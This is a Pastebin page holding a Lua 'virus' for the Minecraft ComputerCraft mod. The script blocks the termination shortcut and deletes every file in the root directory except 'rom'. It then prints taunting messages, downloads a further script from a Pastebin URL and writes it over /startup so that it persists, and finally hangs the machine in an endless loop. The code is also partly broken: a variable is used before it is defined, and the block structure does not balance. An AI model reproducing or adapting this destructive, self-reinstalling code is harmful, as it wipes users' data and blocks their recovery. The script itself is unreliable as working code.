Advertisement
MCFunRide

ComputerCraft Virus Test

Jun 30th, 2015
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.26 KB | None | 0 0
  1. os.pullEvent = os.pullEventRaw
  2. function main2()
  3. local rnd = math.random(1,1000000)
  4. if tbl[rnd] == "rom" then
  5. table.remove(tbl,tonumber(rnd))
  6. function main()
  7. for i,v in pairs(tbl) do
  8. fs.delete(v)
  9. end
  10.  
  11. term.clear()
  12. term.setCursorPos(1,1)
  13. textutils.slowPrint("'I used to want you dead")
  14. textutils.slowPrint("but now I only want you gone.'")
  15. textutils.slowPrint("- GLaDOS 2011")
  16. sleep(3)
  17. term.clear()
  18. term.setCursorPos(1,1)
  19. textutils.slowPrint("You're files are gone now.")
  20. textutils.slowPrint("There is no getting them back.")
  21. textutils.slowPrint("Now, your computer is as dead as")
  22. textutils.slowPrint("brick.")
  23. stream = http.get("http://pastebin.com/raw.php?i=535AYgZK").readAll()
  24. f = fs.open("/startup","w")
  25. f.writeLine(stream)
  26. f.close()
  27.  
  28. if peripheral.find("iron_note") then
  29. local s = peripheral.find("iron_note")
  30. while true do
  31. s.playNote(0,24)
  32. sleep(2)
  33. s.playNote(0,20)
  34. sleep(2)
  35. s.playNote(0,10)
  36. sleep(2)
  37. end
  38. else
  39. while true do
  40. sleep(100)
  41. end
  42. end
  43. end
  44. main()
  45. end
  46. end
  47.  
  48. local tbl = fs.list("/")
  49.  
  50.  
  51. if fs.exists("/moarp") then
  52. while true do
  53. local rnd = math.random(1,1000000)
  54. if tbl[rnd] == "moarp" then
  55. table.remove(tbl,tonumber(rnd))
  56. main2()
  57. end
  58. else
  59. main2()
  60. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement